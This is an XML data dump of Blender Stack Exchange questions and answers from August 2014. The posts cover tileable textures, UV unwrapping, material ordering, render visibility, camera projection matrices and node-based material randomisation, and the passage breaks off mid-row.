  <row Id="15083" PostTypeId="2" ParentId="15081" CreationDate="2014-08-18T09:32:03.657" Score="3" Body="&lt;p&gt;You could subdivide (&lt;kbd&gt;W&lt;/kbd&gt; / Subdivide) in &lt;em&gt;Edit Mode&lt;/em&gt; your face to 10x10 tiles and unwrap &lt;kbd&gt;U&lt;/kbd&gt;. The texture is automatically repeated along the uv coordinates.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/HeURk.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As pointed out by @someonewithpc this works also with a single plane:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Fi5F6.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Related:&#xA;&lt;a href=&quot;https://blender.stackexchange.com/questions/8278/unwanted-patterns-in-texture-from-repeated-seamless-image&quot;&gt;Unwanted patterns in texture from repeated, seamless image&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="29" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:38.533" LastActivityDate="2014-08-18T09:43:50.297" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="15085" PostTypeId="1" AcceptedAnswerId="15089" CreationDate="2014-08-18T10:01:43.603" Score="13" ViewCount="4980" Body="&lt;p&gt;When using photos as textures they are usually not tileable and create patterns like:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/03Dmg.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there any method in Blender to make images tileable?&lt;/p&gt;&#xA;" OwnerUserId="29" LastActivityDate="2018-12-29T11:22:24.933" Title="How can a texture converted to be tileable (seamless)?" Tags="&lt;texturing&gt;" AnswerCount="2" CommentCount="0" FavoriteCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="15086" PostTypeId="2" ParentId="15085" CreationDate="2014-08-18T10:01:43.603" Score="10" Body="&lt;p&gt;Blender's UV / Image does not provide such a functionality (AFAIK). This can easily achieved by &lt;a href=&quot;http://www.gimp.org/&quot; rel=&quot;nofollow noreferrer&quot;&gt;GIMP&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;After copying a region from the photo into a new image (preferably with dimensions as a power of two e.g. 1024x1024 pixel)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Execute from main menu: &lt;em&gt;Filters / Map / Make Seamless&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/XXEld.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Result:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/f5B51.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The terrain could be randomized (&lt;em&gt;Edit Mode&lt;/em&gt; menu: &lt;em&gt;Mesh / Transform / Randomize&lt;/em&gt;)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/8geam.png&quot; alt=&quot;enter image description here&quot;&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/ErXEB.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Related: &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://blender.stackexchange.com/questions/8278/unwanted-patterns-in-texture-from-repeated-seamless-image&quot;&gt;Unwanted patterns in texture from repeated, seamless image&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;https://blender.stackexchange.com/questions/14212/why-should-texture-resolutions-be-powers-of-2&quot;&gt;Why should texture resolutions be powers of 2?&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;https://gamedev.stackexchange.com/questions/26187/why-are-textures-always-square-powers-of-two-what-if-they-arent&quot;&gt;https://gamedev.stackexchange.com/questions/26187/why-are-textures-always-square-powers-of-two-what-if-they-arent&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="29" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:43.437" LastActivityDate="2014-08-18T10:21:06.597" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="15087" PostTypeId="2" ParentId="15066" CreationDate="2014-08-18T10:20:27.373" Score="2" Body="&lt;p&gt;Each item can have one active action attached to it. To expand this for the game engine you can merge all actions into one.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the action logic brick you can set the start and end frames so you can play only part of the action as desired. Use the priority to choose which movement overrides the other.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/bXTSL.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="935" LastActivityDate="2014-08-18T10:20:27.373" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15088" PostTypeId="2" ParentId="15078" CreationDate="2014-08-18T10:58:01.717" Score="0" Body="&lt;p&gt;Your problem seems to come from the &quot;&lt;strong&gt;Auto Normalize&lt;/strong&gt;&quot; option.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This makes the current vertex weight adjust the other group's vertex weight in order to have a maximum weight value of 1.0 when totalizing all group weights for the vertex. &lt;em&gt;(I hope it's understandable...)&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Try without this option :&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/oJnnC.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then, I recommend you to hit &lt;kbd&gt;Z&lt;/kbd&gt; and disable the &quot;Limit selection to visible&quot; option (bottom toolbar of 3D view), in order to paint your weight through the mesh.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I also saw that the topology needs some improvements to have nicer deformations, and the pivot points of the bones should be better placed...&lt;/p&gt;&#xA;" OwnerUserId="527" LastActivityDate="2014-08-18T10:58:01.717" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="15089" PostTypeId="2" ParentId="15085" CreationDate="2014-08-18T11:23:03.873" Score="8" Body="&lt;p&gt;I started this with a picture of some bushes and used the Import Images As Planes Addon(bundled with Blender) to load the image in.  This Addon automatically handles the UV and Material generation however you should redo the UV's by choosing the &lt;strong&gt;Reset&lt;/strong&gt; option because the Import Images as Planes Addon leaves a margin that will create artifacts for painting seamless textures.(That may not be true anymore, this post is very old).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Definitely set &quot;Bleed&quot; to &quot;0 px&quot; in the Texture Paint options.  It will cause artifacts at the seams.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/FgRa3.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Next, I added 2 separate Array Modifiers.  One for the X direction and one for the Y axis.  Each modifier used mostly default settings but with the Count set to 3 and Merge activated.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/74CUO.jpg&quot; alt=&quot;enter image description here&quot;&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;This setup uses a duplicate of the image on the hard-drive to avoid painting both to and from the same image at the same time.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The second copy is loaded onto  another plane using the same Addon from step 1.&lt;br&gt;&#xA;I used this image as the Clone source by moving the 3D cursor onto it and Painting on the planes that were Arrayed.&lt;br&gt;&#xA;You may have to join them together to get this to work depending on your setup.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/ETRPq.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So long as you only paint on the center tile, everything you paint at one edge will be automatically tiled across to the opposite edge because both the left edge and the right edge are attached by virtue of the Array modifier.  Since they all have the same UVs, you really are painting on both the left and right sides simultaneously so far as the Image Editor and the painted image are concerned. &#xA;The top and bottom edges are also attached by the second Array modifier so the same thing is true for those two edges.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The advantage of using Blender for this is that we can also paint-out the areas that show an obvious repeating pattern.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Because I used a round brush with that has a falloff curve, there is a noticeable blurriness due to the mixing at the edges of the brush.  Some of the old image remains and is mixed in with the clone brush results. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/M0ii9.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can avoid this blurriness entirely by using the far-right preset that is basically a binary type thing; it's either on or off.  There is no mixing at the edges but this now creates a sharp circular pattern when using a round brush.  You can hid this by creating a mask texture that has a random pattern and setting the Mask Mapping Option to Random.  These settings are shown in the next image.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/pN7NE.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="1448" LastEditorUserId="1448" LastEditDate="2018-12-29T11:22:24.933" LastActivityDate="2018-12-29T11:22:24.933" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="15090" PostTypeId="1" AcceptedAnswerId="15092" CreationDate="2014-08-18T15:02:08.783" Score="4" ViewCount="5558" Body="&lt;p&gt;I am having a problem to see one of my mesh objects through camera. I have 3 components that I imported from sketch up dad format. They are cup, handle, and saucer.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The outliner looks like this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/ezK8H.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have a camera and light set up like this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/REPnH.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When I render the scene the handle and saucer will show, but not the cup body: &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/TI6Zj.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;peach_cup_body mesh looks like this under material tab. These are all the same to handle, and saucer.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/WYRYn.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Could anyone have an idea why this is happening? Any help will be greatly appreciated it!!&#xA;thank you.&lt;/p&gt;&#xA;" OwnerUserId="5386" LastEditorUserId="599" LastEditDate="2014-08-18T18:47:41.203" LastActivityDate="2018-03-28T10:04:28.730" Title="Object does not appear when rendered" Tags="&lt;rendering&gt;&lt;objects&gt;&lt;blender-internal-render-engine&gt;&lt;camera&gt;" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="15092" PostTypeId="2" ParentId="15090" CreationDate="2014-08-18T15:12:36.303" Score="5" Body="&lt;p&gt;Without seeing a blend file I would guess that the peach_cup_body object does not have the correct material assigned. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are two materials on the object, one is a cycles material which will render the object as blank when rendering with the internal renderer.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Remove the material called 'material' and your object will definitely be using the 'Material.002' material.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Select the material then press the minus(-) button:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/ClA0O.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="241" LastActivityDate="2014-08-18T15:12:36.303" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="15093" PostTypeId="1" CreationDate="2014-08-18T18:33:30.787" Score="0" ViewCount="883" Body="&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/ukquF.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As you cansee the little guns coming out of the wings do not show up in the render. The guns are the object named cylinder which has the render icon checked in the outliner. Why is this not showing up in the render (right picture)?&lt;/p&gt;&#xA;" OwnerUserId="3028" LastActivityDate="2014-09-18T12:51:37.943" Title="Cycles not rendering certain objects" Tags="&lt;rendering&gt;&lt;cycles-render-engine&gt;" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="15094" PostTypeId="1" CreationDate="2014-08-18T20:36:36.993" Score="3" ViewCount="944" Body="&lt;p&gt;I have been trying to fix the front fender part of a vintage pedal car for a friend. It is a piece that is broken, and I would like to design and 3D print a part that fits perfectly to the broken part, kind of like what was done &lt;a href=&quot;http://www.instructables.com/id/A-sandstone-block-built-from-lego-blending-real-o/&quot; rel=&quot;nofollow noreferrer&quot;&gt;here&lt;/a&gt;... The .stl file from a 3D scan of the broken fender is available &lt;a href=&quot;https://drive.google.com/file/d/0B0j3WGD5eyXjVHlBOUtFSjNkWW8/edit?usp=sharing&quot; rel=&quot;nofollow noreferrer&quot;&gt;here&lt;/a&gt; and was I hoping to get some advice or help. Please note that the complete part is symmetrical. Thank you &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/aon7f.jpg&quot; alt=&quot;image of broken part&quot;&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/c1Nkl.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="5655" LastEditorUserId="5655" LastEditDate="2014-08-19T00:39:08.850" LastActivityDate="2014-08-19T19:15:45.827" Title="How to design a part to fit exactly onto an existing 3D model?" Tags="&lt;modeling&gt;" AnswerCount="2" CommentCount="0" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="15095" PostTypeId="2" ParentId="10782" CreationDate="2014-08-18T20:49:12.013" Score="1" Body="&lt;p&gt;You can stop the animation at the point you want the shape of the cloth to be in and then select the cloth by right clicking. Go to File and then Export. Export the selected cloth as a wave front object. When in the export dialog window, be sure to check &quot;Selected Only&quot; in the pane on the left side. There are some other options there as well. After all is said and done you may then Import your Wavefront Object and then save it as a Blender File. Depending on the cloth type you have setup, you can get some really cool shapes from a cloth animation that you can use as abstract objects in other Blender files.&lt;/p&gt;&#xA;" OwnerUserId="5642" LastActivityDate="2014-08-18T20:49:12.013" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15096" PostTypeId="2" ParentId="14899" CreationDate="2014-08-18T21:09:38.090" Score="0" Body="&lt;p&gt;It seems that you do not have your material display setup correctly. At the bottom of you Blender window,just above the Time Line, you will see a Box the reads, &quot;Object Mode&quot;. Next to this box will be a white ball. Left click this white ball and select Texture. Now when you press P to view your animation you should be able to see everything. You may also press the N key to bring out your right panel. There is a section there labeled Shading. Click on Shading and put a check next to &quot;Textured Solid&quot;. Then click the box just above this and select from the list GLSL. This should work for you! Everyone that uses Blender goes through these gates which is needed if you will progress farther into the use of this Great Free Software. Persistence is the key to becoming great at using Blender. So do not give up! Just move forward! :O)&lt;/p&gt;&#xA;" OwnerUserId="5642" LastActivityDate="2014-08-18T21:09:38.090" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15097" PostTypeId="1" AcceptedAnswerId="15098" CreationDate="2014-08-18T21:11:40.660" Score="5" ViewCount="882" Body="&lt;p&gt;When I create a new material it is listed last and I don't know how to move it.&lt;/p&gt;&#xA;&lt;p&gt;I'm trying to render a material together with a &amp;quot;Wire&amp;quot; material and I think that the way that works is when the &amp;quot;Wire&amp;quot; material is on top of other materials and then assign the other materials. In that way on the render the other materials will be on the object together with the &amp;quot;Wire&amp;quot; material Here is an example from blendswap -&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;http://www.pasteall.org/blend/31068&quot; rel=&quot;noreferrer&quot;&gt;http://www.pasteall.org/blend/31068&lt;/a&gt;&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;http://www.blendswap.com/blends/view/67420&quot; rel=&quot;noreferrer&quot;&gt;http://www.blendswap.com/blends/view/67420&lt;/a&gt; (read the description)&lt;/p&gt;&#xA;&lt;p&gt;What is the way to move a material above another?&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="3398" LastEditorUserId="-1" LastEditDate="2020-06-10T12:57:44.663" LastActivityDate="2014-08-19T20:01:45.423" Title="What is the way to move a material above another?" Tags="&lt;materials&gt;" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="15098" PostTypeId="2" ParentId="15097" CreationDate="2014-08-18T21:45:17.413" Score="4" Body="&lt;p&gt;Delete the top material slot, then add a new slot and select the material from the deleted slot.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/FicSQ.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In your case, you'll then want to assign the surface material (bottom slot) with everything selected in edit mode.&lt;/p&gt;&#xA;" OwnerUserId="599" LastEditorUserId="599" LastEditDate="2014-08-18T21:52:13.373" LastActivityDate="2014-08-18T21:52:13.373" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="15099" PostTypeId="1" CreationDate="2014-08-18T23:37:59.263" Score="4" ViewCount="3047" Body="&lt;p&gt;As the title says how would I go about transferring a shape key between two different meshes? The meshes I am using have a similar shape and topology (esp. with area that is affected by the shape key) but different vertex count.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am aware of the &quot;Transfer Shape Key&quot; function but that requires a mesh with an exact number of vertices and I don't think simply matching the vertex count will work out right (like random verts flying off to oblivion when using that shape key).&lt;/p&gt;&#xA;" OwnerUserId="1106" LastActivityDate="2014-08-18T23:37:59.263" Title="How to transfer a shape key between different meshes?" Tags="&lt;modeling&gt;&lt;mesh&gt;&lt;objects&gt;&lt;shape-keys&gt;" AnswerCount="0" CommentCount="1" FavoriteCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="15100" PostTypeId="2" ParentId="15094" CreationDate="2014-08-18T23:40:46.307" Score="0" Body="&lt;p&gt;So looking at the scan, why not just take the scan of the fender and mirror the good side and merge it in?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I gave it a go importing into blender and into sketchup. The STL looks okay, but I have some questions:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;1) Is the fender component symmetrical? I'm seeing tabs on either side that don't match on the other side. If you have a photo of the original part that was scanned and a photo of how it looks on the original car, that would help determine how to match it up.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;2) What is the scale of the fender? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Working with it in Blender, one can smooth out the bumpiness of the scan. Another reason one would want to see what the original looked like. :)&lt;/p&gt;&#xA;" OwnerUserId="2234" LastEditorUserId="2234" LastEditDate="2014-08-18T23:58:16.773" LastActivityDate="2014-08-18T23:58:16.773" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="15101" PostTypeId="2" ParentId="15081" CreationDate="2014-08-19T02:12:42.883" Score="3" Body="&lt;p&gt;I'll just make my own answer, stacker's answer is correct halfways but the last pieces of steps to make this work with COLLADA/Xcode(SceneKit/iOS/OSX) are:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;Just export COLLADA using default options. Textures won't be specified in a compatible way anyway.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Put the .dae file in the .scnassets folder&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Fire up Xcode, and select the .dae file.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Select the material pertaining to the texture that you want to repeat.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;In Properties, select the image under Diffuse.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Also in Diffuse, tap the small triangle to open further options.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Set WrapS and WrapT to Repeat. (Edit: you could try Mirror as well in same cases)&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Done. The texture should be tiled in the same way as it is tiled while looking in Blender (even in Blender's texture AND rendered mode).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/RRW73.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="5437" LastActivityDate="2014-08-19T02:12:42.883" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="15102" PostTypeId="1" AcceptedAnswerId="38189" CreationDate="2014-08-19T06:10:49.880" Score="9" ViewCount="6780" Body="&lt;p&gt;I have question what is blender's camera projection model.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I want to use blender to my computer vision experiment which need to compare real photo and CG. For real photo, I used camera matrix K for perspective projection, like this&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; K= [f 0 Px 0]&#xA;    [0 f Py 0] &#xA;    [0 0  1 0]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;(Px and Py is center coordiate of 2D image, start from Top-Left to Bottom Right)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So I can easily transform 3D vertex to 2D pixel coordinate. To compare this matrix, I need to know how blender make camera matrix K in it's internal rendering process. It seems that blender's camera has 3 parameters (f (focal length), near plane, far plane. Ignoring shift x and y).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How to make blender's camera projection matrix which transform 3D vertex to 2D image coordinate from these 3 paremeters?&lt;/p&gt;&#xA;" OwnerUserId="5659" LastEditorUserId="16590" LastEditDate="2015-09-04T12:49:12.997" LastActivityDate="2020-08-22T21:36:27.403" Title="What is blender's camera projection matrix model?" Tags="&lt;transforms&gt;&lt;camera&gt;&lt;coordinates&gt;&lt;conversion&gt;" AnswerCount="1" CommentCount="2" FavoriteCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="15103" PostTypeId="2" ParentId="15076" CreationDate="2014-08-19T07:10:46.400" Score="19" Body="&lt;p&gt;As long as all the books are separate objects, we can use the &lt;em&gt;Random&lt;/em&gt; output of the &lt;em&gt;Object Info&lt;/em&gt; node.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;That gives us a random value (per object) ranging from 0 to 1 (black to white):&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/kUIaG.png&quot; alt=&quot;http://i.imgur.com/7m0QZah.png&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;All we need to do then is tell it to use different materials for different value ranges. I'm sure there are many ways to do this, but here's the first I could think of:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;We can add two math nodes with the operations on &lt;em&gt;Greater Than&lt;/em&gt; and &lt;em&gt;Less Than&lt;/em&gt;, setting the bottom socket values to encapsulate a certain range (e.g: between 0.1 and 0.3) and plugging the &lt;em&gt;Random&lt;/em&gt; output into the top sockets. Then multiply the two math nodes and you'll have a mask showing white on the books where the random value is between that range:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/omDII.png&quot; alt=&quot;http://i.imgur.com/fEunI6m.png&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then we can connect that mask to the &lt;em&gt;Fac&lt;/em&gt; of a &lt;em&gt;MixRGB&lt;/em&gt; node, and thus the first socket of the mix node would be the original colour, and the second socket would be whatever colour/texture you want to show in the value range.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Since you'll be using that same node set-up over and over again for each texture, it's a good place to turn it into a node group:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/YPf6I.png&quot; alt=&quot;http://i.imgur.com/hqJXScb.png&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/1jBbY.png&quot; alt=&quot;http://i.imgur.com/Nniyeap.png&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And thus by chaining a few of these groups together, you can easily randomise the colours/textures of objects with that material:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/FD2UV.png&quot; alt=&quot;http://i.imgur.com/giMolFI.png&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="9" LastEditorDisplayName="user1853" LastEditDate="2015-11-30T22:44:38.617" LastActivityDate="2015-11-30T22:44:38.617" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="15106" PostTypeId="1" CreationDate="2014-08-19T10:37:58.193" Score="1" ViewCount="4895" Body="&lt;p&gt;I'm finding it very difficult to set up a basic material with diffuse, alpha and normal maps. Although I've managed to create a material with diffuse and normal maps, I can't manage to get the alpha channel working correctly. I would like to use three &lt;em&gt;separate&lt;/em&gt; maps as shown below:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/2KBZL.png&quot; alt=&quot;DIFFUSE&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/H59w5.png&quot; alt=&quot;NORMAL&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/ODC4U.png&quot; alt=&quot;ALPHA&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Below is the desired result of combining the maps with a single spotlight shining from above.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/37zCZ.png&quot; alt=&quot;DESIRED RESULT&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Although I found a few examples of setting up materials with transparency online, I couldn't get anything to work correctly. Instead of me posting lots of pictures of my failed setup, &lt;strong&gt;could someone explain the correct way to combine these maps? I would really like to see both how to do it in the standard material/texture panels, and also in the node editor. I would like the result to appear in the real-time textured viewport mode.&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In order to help explain what I am trying to set up, here is a picture of the current result of the material as it looks with lighting in my scene. I'm viewing using GLSL, but if I switch to multitexture, it's entirely black. I tried rendering it, but I just get the result shown here.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Dk3iP.png&quot; alt=&quot;CURRENT RESULT&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;UPDATE: Partial Answer&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks to &lt;strong&gt;&lt;a href=&quot;http://www.blendernerd.com/alpha-mapping-in-cycles/&quot; rel=&quot;nofollow noreferrer&quot;&gt;this&lt;/a&gt;&lt;/strong&gt; tutorial, I managed to achieve the result I want if I'm rendering in cycles. The problem with this is that I want a clean real-time render that works in the viewport, so I'm still only half-way to a real answer. Here's my node setup for cycles:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/6Cqam.png&quot; alt=&quot;Cycles node setup&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, as I said, I would like to see this kind of bump mapping working with alpha in the standard real-time view:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/3lt84.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="328" LastEditorUserId="6204" LastEditDate="2016-12-19T18:21:08.627" LastActivityDate="2016-12-19T18:21:08.627" Title="How do I set up a material with diffuse, normal and alpha (transparency) maps?" Tags="&lt;cycles-render-engine&gt;&lt;texturing&gt;&lt;materials&gt;&lt;nodes&gt;&lt;transparency&gt;" AnswerCount="2" CommentCount="4" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="15107" PostTypeId="1" CreationDate="2014-08-19T10:56:06.730" Score="0" ViewCount="1000" Body="&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/nk65n.png&quot; alt=&quot;enter image description here&quot;&gt;I am following this tutorial to model a basic human male &lt;a href=&quot;https://www.youtube.com/watch?v=h9l9Eq4eX-I&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://www.youtube.com/watch?v=h9l9Eq4eX-I&lt;/a&gt; &#xA;every time I try to select a face in edit mode it selects a different face either three faces away or on the other side of my mesh it’s becoming very tiresome and I was wondering if anyone else has had the same problem or if you know how to fix it.&#xA;Please help as I enjoy using blender but cant do much more than simple texture editing.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I click the face that has the 3D cursor by it but it selects a different one.&lt;/p&gt;&#xA;" OwnerUserId="5663" LastEditorUserId="5663" 